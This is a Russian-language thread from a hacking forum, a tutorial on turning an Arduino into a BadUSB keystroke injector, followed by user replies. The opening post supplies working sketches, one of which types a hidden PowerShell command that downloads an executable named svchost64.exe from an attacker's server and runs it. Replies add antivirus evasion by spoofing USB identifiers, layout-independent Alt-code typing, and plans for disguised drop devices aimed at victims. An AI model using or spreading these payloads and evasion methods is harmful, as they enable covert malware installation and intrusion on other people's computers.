• XSS.stack #1 – первый литературный журнал от юзеров форума

Статья Делаем BADUSB из Ардуино

Gufi

(L2) cache
Пользователь
Регистрация
12.07.2022
Сообщения
468
Реакции
819
Гарант сделки
3
Всем привет , сегодня мы обсудим такую тему как создание самодельной Badusb флешки.

Для работы нам нужно :

Arduino (подойдет любая с возможностю емуляции usb)

Arduino IDE

Знание синтаксиса С/C++


Выбор платы Ардуино

Мы будем использовать Arduino micro pro. Компактная , с подходящим объемом памяти для записи скриптов, недорогая модель, полностю нам подходит!

5146_1.jpg


Купить: https://www.aliexpress.com/item/1005002781852894.html?spm=a2g0o.productlist.0.0.3f914ffeI9s1Z3&algo_pvid=630befd0-0205-4e5d-879b-0705a291de1b&algo_exp_id=630befd0-0205-4e5d-879b-0705a291de1b-33&pdp_ext_f={"sku_id":"12000022158005566"}&pdp_npi=2@dis!UAH!174.43!139.39!!!27.88!!@211675d316662933032674762ea1a2!12000022158005566!sea&curPageLogUid=aD4feaNPYQb0

Как работает схема атаки на ардуино
В работе мы используем модуль Keyboard , когда ардуинка подключаеться к источнику питания , процесор платы начинает обробку скрипта , и поссылает команды модулю usb который емулирует клавиатуру. Тем самым система пк жертвы определяет ардуинку как клавиатуру.
Для начала атаки нужно просто вставить в пк заранее прошитую плату. Плата прошиваеться через софтину Arduino IDE .
Подготовка к прошивке
1. Ставим Arduino IDE , при установке соглашаемсяя на установку драйверов.

2. Подключаем плату к пк по юсб проводу.

photo_2022-11-29_16-21-06.jpg


3. Заходим в програму и вибираем нашу ардуинку в меню выбора порта

Screenshot 2022-11-29 162939.png

Готово ! теперь можем приступить к написанию скриптов.

Пишем скрипты
При поиске нормальных скриптов для ардуино вы получете одно говно , везде только скрипты на языке Rubber Ducky Script. Но в просторах интернета есть прекрасный сайт Duckuino , вставляете готовый Rubber ducky Script , и копируете полученный скрипт на С зделанный под ардуино!
Сервис очень хороший но иногда может криво сконвертироваться код.
При написании свого скрипта мы юзаем модуль Keyboard. Написание скриптов для Badusb атак не очень тяжелое дело , или иззучайте семейку С , или копируйте код)


Скрипт открывает консоль и выполняет введеную в 3 строке команду:

C:
#include<Keyboard.h>
#define KEY_DELAY 50
const char command [] = "" ;

void setup() {
  Keyboard.begin();
  delay(3000);
}

void loop() {
  Keyboard.press(KEY_LEFT_GUI);
  Keyboard.press('r');
  delay(KEY_DELAY);
  Keyboard.releaseAll();
  delay(KEY_DELAY*5);
  Keyboard.println("cmd");
  delay(KEY_DELAY*5);
  Keyboard.println(command);
  delay(100000);
}

Скрытое скачивание и запуск файла :

C:
#include<Keyboard.h>
#define KEY_DELAY 50
const char command [] = " " ;
void setup() {
  Keyboard.begin();
  delay(3000);
}

void loop() {
  //Pressing Win+r shortcut
  Keyboard.press(KEY_LEFT_GUI);
  Keyboard.press('r');
  delay(KEY_DELAY);
  Keyboard.releaseAll();
  delay(KEY_DELAY*5);
  Keyboard.println("powershell -NoP -NonI -W Hidden -Exec Bypass \"IEX (New-Object System.Net.WebClient).DownloadFile('ваш сервак',\\\"$env:temp\\svchost64.exe\\\"); Start-Process \\\"$env:temp\\svchost64.exe\\\"\"");
  delay(KEY_DELAY*5);//A delay to ensure that cmd window has been started
  delay(10000000);
}

В 16 строке замените 'ваш сервак' на путь к файлу на серваку

Здесь мы розсмотрели два самых нужных скрипта для атак , пройдем к записи скриптов на плату!

Запись скрипта на плату

1. Копируем код и вставляем в редактор Arduino IDE
Screenshot 2022-11-29 165655.png

2. Компилируем и загружаем код
Screenshot 2022-11-29 165846.png

3. Готово! тестим все ли работает.
 
Последнее редактирование:
Выше 7 Винды смысла от этой флешки нет. Т.к автозапуск в флешки отключён.
это не флешка! , это устройство которое емулирует клавиатуру!
 
Сколько не читал в интернетах статеек типа "bad-usb из arduino", почти все поверхностные.
На практике будет туго работать.

Например, если собирать badusb по этой статье то есть ряд проблем
1. Банальная проблема Keyboard.println("powershell....."). А если раскладка не eng? Тогда облом. Надо альт кодами набирать.
2. Похожая проблема, может быть включен Capslock. Статус num/caps/scroll lock проверяется программно, хост(ПК) сообщает их статус на устройство.
3. Втыкаем мы значит эту флешку в девственный windows-пк, а он начинает драйвер автоматически искать и устанавливать для arduino com-порт (Потомучто эт составное usb-утройство у нас получится, ком для прошивки, и сама hid клава). Во-первых долго, во-вторых палево.
Чтобы этого избежать в ядре ардуинки выпиливается код который при подключении юсб инициализирует com, также скетч прошивается без бутлоадера
И до кучи меняется usb VID & PID под какую-нибудь реальную клаву, для которой винда драйвер искать не будет

А еще есть фишка, бэдюсб может определить ОС на хосте, вроде rubberducky такое умеет, если кто знает методу как это работает, отпишите в топик
 
Сколько не читал в интернетах статеек типа "bad-usb из arduino", почти все поверхностные.
На практике будет туго работать.

Например, если собирать badusb по этой статье то есть ряд проблем
1. Банальная проблема Keyboard.println("powershell....."). А если раскладка не eng? Тогда облом. Надо альт кодами набирать.
2. Похожая проблема, может быть включен Capslock. Статус num/caps/scroll lock проверяется программно, хост(ПК) сообщает их статус на устройство.
3. Втыкаем мы значит эту флешку в девственный windows-пк, а он начинает драйвер автоматически искать и устанавливать для arduino com-порт (Потомучто эт составное usb-утройство у нас получится, ком для прошивки, и сама hid клава). Во-первых долго, во-вторых палево.
Чтобы этого избежать в ядре ардуинки выпиливается код который при подключении юсб инициализирует com, также скетч прошивается без бутлоадера
И до кучи меняется usb VID & PID под какую-нибудь реальную клаву, для которой винда драйвер искать не будет

А еще есть фишка, бэдюсб может определить ОС на хосте, вроде rubberducky такое умеет, если кто знает методу как это работает, отпишите в топик
https://xss.pro/threads/87687/
 
1. Банальная проблема Keyboard.println("powershell....."). А если раскладка не eng? Тогда облом. Надо альт кодами набирать.
2. Похожая проблема, может быть включен Capslock. Статус num/caps/scroll lock проверяется программно, хост(ПК) сообщает их статус на устройство.
3. Втыкаем мы значит эту флешку в девственный windows-пк, а он начинает драйвер автоматически искать и устанавливать для arduino com-порт (Потомучто эт составное usb-утройство у нас получится, ком для прошивки, и сама hid клава). Во-первых долго, во-вторых палево.
4. Момент атаки. Невозможно предугадать момент поставки драйвера системой и гарантировать безпалевность или успешность ввода команд.

И до кучи меняется usb VID & PID под какую-нибудь реальную клаву
Обязательно я бы сказал. На платы arduino и им подобные, которые прикидываются клавиатурой, у АВ стойкая эрекция.
 
Пожалуйста, обратите внимание, что пользователь заблокирован
Привет, ребята, чтобы завершить этот проект, у нашего дорогого друга есть некоторая полезная нагрузка для usbrubberducky по ссылке ниже, которую вы можете использовать по ссылке, которую я предоставляю, чтобы преобразовать ее в подходящий источник для Arduino и выполнять различные атаки 🙃😄


https://github.com/phpsystems/Rubber-Ducky-Пейлоадс

И конвертировать коды https://nixu-corp.github.io/
 
Проблемы с раскладкой клавиатуры легко решается ALT-кодами клавиш, с ними нажмётся всегда то что нужно вне зависимости от того какая раскладка

То что винда начинает компорт искать это у меня появлялось только на компах с Win7 Home. На win10 уже без посторонних сообщений работало. Вообще чем новее система и более полная установка, тем лучше все эти badusb работают. Палево там в другом - открывается на пару секунд окно с cmd и вводятся там команды - вот это сильно заметно.
Ком порт вообще можно убрать если собирать без arduino и самому сделать плату с avr контроллером. Но в тех устройствах которые делал я там без компорта никак - через него вытягивается из устройства exe/dll для запуска.

Кто будет собирать что-то своё обратите внимание на тот факт что далеко не каждый AVR/ардуино для этого подойдёт. Обязательно смотрите чтобы контроллер был с поддержкой USB. Например ATmega32U4

AV ругаются на такие устройства если в описании устройства есть строка "Arduino". Или затирается пробелами в бутлоадере эта строка, или собирается без ардуино - проблема пропадает. Если делать первым способом то скорее всего не избежать "окирпичивания" нескольких ардуинок, пока не наловчишься прошивать правильно, у меня так было.

А где про определение системы из badusb устроства посмотреть ? Хотя бы определить винда или линукс, чтобы правильную комбинацию кнопок отправить.
 
По раскладке клавиатуры, в ардуине я делал так:
Код:
    // c
    Keyboard.press(KEY_LEFT_ALT);
    Keyboard.press(KEY_KP_9);delay(45);Keyboard.release(KEY_KP_9);delay(45);
    Keyboard.press(KEY_KP_9);delay(45);Keyboard.release(KEY_KP_9);delay(45);
    Keyboard.releaseAll();
    //m
    Keyboard.press(KEY_LEFT_ALT);
    Keyboard.press(KEY_KP_1);delay(45);Keyboard.release(KEY_KP_1);delay(45);
    Keyboard.press(KEY_KP_0);delay(45);Keyboard.release(KEY_KP_0);delay(45);
    Keyboard.press(KEY_KP_9);delay(45);Keyboard.release(KEY_KP_9);delay(45);
    Keyboard.releaseAll();
    //d
     Keyboard.press(KEY_LEFT_ALT);
     Keyboard.press(KEY_KP_1);delay(45);Keyboard.release(KEY_KP_1);delay(45);
     Keyboard.press(KEY_KP_0);delay(45);Keyboard.release(KEY_KP_0);delay(45);
     Keyboard.press(KEY_KP_0);delay(45);Keyboard.release(KEY_KP_0);delay(45);
     Keyboard.releaseAll();

Наберёт строку "cmd" вне зависимости от установленной раскладки
 
Можно же просто купить плату ATMEGA в образе флешки и туда грузить payload'ы причем на алике такой продукт стоит 6$, просто я думаю такой образ микроконтроллера "флешки" многих сотрудников при физическом взломе или методом "дорожное яблоко" будет слегка пугать😅
 
По раскладке клавиатуры, в ардуине я делал так:
Код:
    // c
    Keyboard.press(KEY_LEFT_ALT);
    Keyboard.press(KEY_KP_9);delay(45);Keyboard.release(KEY_KP_9);delay(45);
    Keyboard.press(KEY_KP_9);delay(45);Keyboard.release(KEY_KP_9);delay(45);
    Keyboard.releaseAll();
    //m
    Keyboard.press(KEY_LEFT_ALT);
    Keyboard.press(KEY_KP_1);delay(45);Keyboard.release(KEY_KP_1);delay(45);
    Keyboard.press(KEY_KP_0);delay(45);Keyboard.release(KEY_KP_0);delay(45);
    Keyboard.press(KEY_KP_9);delay(45);Keyboard.release(KEY_KP_9);delay(45);
    Keyboard.releaseAll();
    //d
     Keyboard.press(KEY_LEFT_ALT);
     Keyboard.press(KEY_KP_1);delay(45);Keyboard.release(KEY_KP_1);delay(45);
     Keyboard.press(KEY_KP_0);delay(45);Keyboard.release(KEY_KP_0);delay(45);
     Keyboard.press(KEY_KP_0);delay(45);Keyboard.release(KEY_KP_0);delay(45);
     Keyboard.releaseAll();

Наберёт строку "cmd" вне зависимости от установленной раскладки
А нук проверь с отключенным NumLock. За такой код тебя конечно топором отпиздить мало)
 
А нук проверь с отключенным NumLock. За такой код тебя конечно топором отпиздить мало)

Смотрите, я Вам сейчас интересный фокус покажу: Keyboard.press(219); - Ура, Numlock нажимается! Удивительное волшебство, как это получилось !?
Но на самом деле никакие намлоки трогать совсем там не нужно - просто надо сделать так как показано в этом примере и всё будет работать.
Судя по тону ответа выглядит как предложение посоревноваться, чьё решение по badusb лучше - Ваше или моё ? Давайте попробуем сравнить.
 
Смотрите, я Вам сейчас интересный фокус покажу: Keyboard.press(219); - Ура, Numlock нажимается! Удивительное волшебство, как это получилось !?
Но на самом деле никакие намлоки трогать совсем там не нужно - просто надо сделать так как показано в этом примере и всё будет работать.
Судя по тону ответа выглядит как предложение посоревноваться, чьё решение по badusb лучше - Ваше или моё ? Давайте попробуем сравнить.
А давайте. Поизучаем цикличность:
C++:
unsigned int nkey[] = {KEY_KP0, KEY_KP1, KEY_KP2, KEY_KP3, KEY_KP4, KEY_KP5, KEY_KP6, KEY_KP7, KEY_KP8, KEY_KP9};

void send_alt_code(byte code) {
  byte n1, n2, n3;
  n1 = code / 100;
  if(n1) {
    DigiKeyboard.sendKeyPress(nkey[n1],MOD_ALT_LEFT);
    DigiKeyboard.sendKeyPress(0,MOD_ALT_LEFT);
  }
  n2 = code / 10 % 10;
  if(n1 || n2) {
    DigiKeyboard.sendKeyPress(nkey[n2],MOD_ALT_LEFT);
    DigiKeyboard.sendKeyPress(0,MOD_ALT_LEFT);
  }
  n3 = code % 10;
  DigiKeyboard.sendKeyPress(nkey[n3],MOD_ALT_LEFT);
  DigiKeyboard.sendKeyPress(0,0);
}

void alt_print(char *line) {
  char c;
  while((c = *line++)) send_alt_code(c);
  }

И где-то там:

alt_print("start msg * \"Some payload\" & exit");

А не вот эти вот простыни Ваши.. Извините.

Это на примере платы DigiSpark Attiny85
 
Последнее редактирование:
Про Numlock, Scrolllock, Capslock добавлю ещё кое-что интересное.

У меня эти индикаторы используются для отображения статуса работы устройства (там где они есть, на ноутах, например, редко встречаются)
Мигание всеми тремя индикаторами на клавиатуре с частотой раз в секунду сигнализирует о нормальной работе устройства.
По завершении работы перестаёт мигать и выдаёт короткий звуковой сигнал динамиком, встроенным в устройство. Завершение работы - это установка пейлоада из устройства на комп, и запись первых логов от пейлоада с компа на sd карту устройства.
Если были ошибки в работе, то комбинацией индикаторов Scrollock, Numlock, Capslock показывается код ошибки.
Такой вот способ использования клавиатурных индикаторов, может кому-то окажется полезным.

В сети видел интересный вариант использования этих индикаторов - с помощью них передавались данные на телефон, отдельные байты кодировались определённой комбинацией индикаторов. Приложение на телефоне расшифровывало эти мигания индикаторами в поток байтов.
 
Там циклы не нужны. У меня был вначале вариант когда в цикле разбиралась строка "cmd" либо "powershell" альт кодами, в результате иногда пропускались кнопки.
Проблема пропала когда переделал без цикла, в последовательное нажатие кнопок.
В микроконтроллерах простой и топорный способ часто оказывается более эффективным, чем витиеватые и экстремально оптимизированные решения.
Этот код простой, а значит более надёжный. В нём меньше вероятность наделать ошибок при изменениях, а изменения там постоянные. Потому что приходится пробовать разные комбинации клавиш, разные паузы и интервалы нажатия между клавишами.
Если посмотреть на мой код, то его сразу поймёт даже тот кто никогда не программировал микроконтроллеры, в него не надо вникать и разбираться. Да, места в контроллере займёт больше, но его пока хватает. Как перестанет хватать, тогда и нужно оптимизировать.

Отмечу ещё, alt-кодами у меня набираются только буквы "cmd". Не вся командная строка.

Полностью опишу алгоритм работы, чтобы всё встало на свои места:

1. Нажимается Win-R
2. Alt-кодами набирается строка "cmd" и нажимается Enter (код который я привёл)
3. Нажимается Alt-Shift
4. Командой keyboard.println без альт кодов набирается команда: keyboard.println("powershell -enc base64code...."

То есть альт кодами набирается только небольшая часть. Если набирать всю строку альт кодами то это будет слишком медленно. Комадная строка там довольно крупная, в несколько килобайт.

Вот эта последовательность считаю что наиболее вероятная для срабатывания, выяснилось путём проб и ошибок. Она отсылается первой.
Если она не срабатывает, отсылается следующий вариант последовательности. Например Win-E и ввод команды в адресной строке проводника, и так пока не сработает или не закончатся варианты последовательностей в памяти устройства

А digispark, кстати, очень хороша своей компактностью. Легко влазиет в форм-фактор флешки. Но с ней сложно работать чисто в физическом плане, из-за малых размеров. Сложнее что-то припаять, разместить внутри корпуса и т.д. Меньше всякого электронного функционала можно подключить.

Digispark это под поклады в основном, типа "забытая флешка". Digispark дешёвый, себестоимость устройства образуют только сам контроллер и катушки с пластиком для 3d принтера, на изготовление корпуса. Наделать можно кучу под массовый разброс.

Сейчас делаю устройство с другой стратегией работы: "по-быстрому всунул, вынул, и побежал дальше". Подключили устройство к usb входу компа/телефона, подождали минуту, вынули кабель - всё готово. Здесь уже ограничен форм-фактором сигаретной пачки, под которую маскируется устройство. Можно больше встроить разного электронного функционала: GSM/GPS shield, wifi (можно воткнуть устройство в usb разъём на материнской плате и спрятать внутри системного блока. По wifi/инету нажимать кнопки, отправлять лог и т.д.) и многое другое
 
Последнее редактирование:
Я по рофлу flipper zero купил, там есть фишка badusb по блютузу, тоесть эмуляция беспроводной клавиатуры. Такую-же штуку можно собрать на ардуино. Вобще тема прикольная.
 
Я по рофлу flipper zero купил, там есть фишка badusb по блютузу, тоесть эмуляция беспроводной клавиатуры. Такую-же штуку можно собрать на ардуино. Вобще тема прикольная.
Их вообще можно для чего-то серьезного использовать, или он создан исключительно для развлечений?
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх